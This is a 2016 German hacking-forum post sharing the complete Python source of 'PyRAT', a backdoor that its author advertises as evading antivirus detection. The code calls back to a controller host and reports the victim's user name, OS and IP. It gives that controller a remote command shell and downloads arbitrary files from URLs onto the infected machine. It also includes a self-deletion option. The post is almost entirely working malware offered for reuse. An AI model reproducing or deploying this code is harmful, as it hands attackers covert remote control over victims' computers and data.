Es ist: 20.01.2017, 18:58 Hallo, Gast! (AnmeldenRegistrierenSicherer Login)


Antwort schreiben 
Python Backdoor Source
16.10.2016, 21:34 (Dieser Beitrag wurde zuletzt bearbeitet: 26.11.2016 00:31 von MR NOP.)
Beitrag: #1
Python Backdoor Source
Servus -.-

hab vor einigen Tagen mich mal hingesetzt und eine in Python geschrieben Backdoor entwickelt.
Wollte mich anfangs an C/C++ wenden, jedoch muss Python Code nicht explizit kompiliert werden und kann auch beliebig in Binär Code(executable) übersetzt werden, bringt jedoch eine 3-5 mal so größere Speicherkapazität mit sich als wie die gewöhnlichen High-Level Sprachen wie C/C++.
Hier kurz die Vorteile wen es interessiert. Dodgy
Vorteile: Python kann als CGI-Skript via PHP Code aufgerufen werden
Keine A/V Detection(Skript Format) - Im Binär Format sehr selten bei Python
Platformübergreifend ohne kompilierung
Code kann sich direkt umcoden lassen
Nachteile: Skript ist nicht Binär
Wenn Binär dann mit großer Speicherkapazität

Da ich immer gerne meine Code mit anderen Teile und es diesmal auch tuhen möchte kann sich jeder an dem Code gerne bedienen:

Code:
#!/bin/python

#Author: MR_NOP

import subprocess
import platform
import urllib2
import socket
import ctypes
import shutil
import sys
import os

host = '127.0.0.1'
port = 443
prompt = '>>> '
prompt_before = ''
shell_mode = False
whoami = ''
ip = ''
pcos = platform.system()

def GetInformations():
    info = "***** PC Informations *****" + "\r\n"
    info += "Username......: " + whoami + "\r\n"
    info += "Network Name..: " + platform.node() + "\r\n"
    info += "Machine.......: " + platform.machine() + "\r\n"
    info += "Release.......: " + platform.release() + "\r\n"
    info += "OS............: " + pcos + "\r\n"
    info += "Version.......: " + platform.version() + "\r\n"
    info += "IP-Address....: " + ip + "\r\n"
    info += "Local-IP......: " + socket.gethostbyname(socket.gethostname()) + "\r\n"
    info += "\r\n***** Python Informations *****" + "\r\n"
    info += "Build.........: Number: " + platform.python_build()[0] + " Date:" + platform.python_build()[1] + "\r\n"
    info += "Compiler......: " + platform.python_compiler() + "\r\n"
    info += "Librarys......: " + platform.python_implementation() + "\r\n"
    info += "Version.......: " + platform.python_version() + "\r\n\r\n"
    return info

def Shell(conn, cmd):
    proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    output = proc.stdout.read() + proc.stderr.read()
    conn.send(output + '\r\n')

def UseCommand(conn, cmd):
    cmd = cmd.replace(' ', '')
    if cmd == '':
        return
    if cmd == 'uninstall':
        try:
            conn.send('Are you sure?([y]es,[n]o): ')
            result = conn.recv(1024)
            result = result.replace('\n', '').replace('\r', '')
            if result == 'y' or result == 'yes':
                conn.send('Uninstalled.\r\n\r\n')
                try:
                    os.remove(sys.argv[0])
                except Exception:
                    pass
                finally:
                    exit()
            else:
                conn.send('Canceled.\r\n\r\n')
                return
        except Exception:
            return
        return
    if cmd == 'quit' or cmd == 'exit':
        conn.send('Goodbye.\r\n')
        raise Exception
    if cmd == 'info':
        info = GetInformations()
        conn.send(info)
        return
    if cmd == 'clear' or cmd == 'cls':
        clear = ''
        if pcos == 'Windows':
            clear = 'cls'
        else:
            clear = 'clear'
        proc = subprocess.Popen(clear, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        bcmd = proc.stdout.read() + proc.stderr.read()
        conn.send(bcmd)
        return
    if cmd == 'banner':
        conn.send('PyRAT 1.1.1a Client (PyRAT) @ MR_NOP [' + ip + ']\r\nType \"help\" for more informations.\r\n\r\n')
        return
    if cmd == 'help':
        helpstr = ""
        helpstr += "help.......................Display this help" + "\r\n"
        helpstr += "banner.....................Display the banner" + "\r\n"
        helpstr += "info.......................Display pc informations" + "\r\n"
        helpstr += "download...................Download file from url" + "\r\n"
        helpstr += "shell......................Open a remote shell" + "\r\n"
        helpstr += "clear/cls..................Clear the screen" + "\r\n"
        helpstr += "exit/quit..................Disconnect from backdoor" + "\r\n"
        helpstr += "uninstall..................Uninstall the backdoor" + "\r\n\r\n"
        conn.send(helpstr)
        return
    if cmd == 'download':
        try:
            conn.send('URL: ')
            url = conn.recv(1024)
            url = url.replace('\n', '').replace('\r', '')
            if not (url.startswith('http://') or url.startswith('https://')):
                url = 'http://' + url
            file_name = url.split('/')[-1]

            u = urllib2.urlopen(url)
            f = open(file_name, 'wb')
            meta = u.info()
            file_size = int(meta.getheaders("Content-Length")[0])
            conn.send("Downloading: " + str(file_name) + " Bytes: " + str(file_size))

            file_size_dl = 0
            block_sz = 8192
            while True:
                buffer = u.read(block_sz)
                if not buffer:
                    break

                file_size_dl += len(buffer)
                f.write(buffer)
                status = r"%10d [%3.2f%%]" % (file_size_dl, file_size_dl * 100. / file_size)
                #status = status + chr(8)*(len(status)+1)
                conn.send(str(status) + '\r\n')

            f.close()
            conn.send('File Name: ' + file_name + "\r\n")
            conn.send('Done.\r\n\r\n')
        except Exception:
            conn.send("Error: Cannot Download File.\r\n\r\n")
            return
        return

    conn.send('pyrat: ' + cmd + ': Command was not found.\r\n\r\n')

while True:
    try:
        proc = subprocess.Popen('whoami', shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        whoami = proc.stdout.read() + proc.stderr.read()
        whoami = whoami.replace('\n', '').replace('\r', '')
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        ip = socket.gethostbyname('localhost')
    except Exception:
        continue
    while True:
        try:
            s.connect((host, port))
            s.send('PyRAT 1.1.1a Client (PyRAT) @ MR_NOP [' + ip + ']\r\nType \"help\" for more informations.\r\n\r\n')
            break
        except Exception:
            continue
    while True:
        try:
            s.send(prompt)
            data = s.recv(1024)
            data = data.replace('\n', '').replace('\r', '')

            if shell_mode == False:
                if data == 'shell':
                    prompt = str(whoami) + '@~' + os.getcwd() + '# '
                    shell_mode = True
                    continue

            if shell_mode == True:
                if data == 'exit' or data == 'quit':
                    shell_mode = False
                    prompt = '>>> '
                    continue
                if data == '':
                    prompt = str(whoami) + '@~' + os.getcwd() + '# '
                    continue
                if data.startswith('cd '):
                    data = data.replace('cd ', '')
                    os.chdir(data)
                    prompt = str(whoami) + '@~' + os.getcwd() + '# '
                    continue
                else:
                    prompt = str(whoami) + '@~' + os.getcwd() + '# '
                    Shell(s, data)
            else:
                prompt = '>>> '
                UseCommand(s, data)
        except Exception, e:
            prompt = '>>> '
            shell_mode = False
            print str(e)
            break

Alle Beiträge dieses Benutzers finden
Diese Nachricht in einer Antwort zitieren
Antwort schreiben 


Möglicherweise verwandte Themen...
Thema: Verfasser Antworten: Ansichten: Letzter Beitrag
Question Carberp Source Crisader 14 9.568 01.01.2015 11:52
Letzter Beitrag: Botmaster
  Welche funktionen braucht eine Backdoor master bratack 7 7.084 09.12.2011 20:31
Letzter Beitrag: SFX
  Backdoor/Trojaner theoretisch programmieren neonpunk 30 37.039 19.05.2011 07:47
Letzter Beitrag: Ethon

Gehe zu:


© Back2Hack.cc | Powered by MyBB | Design by Cwis | Top | RSS | Kontakt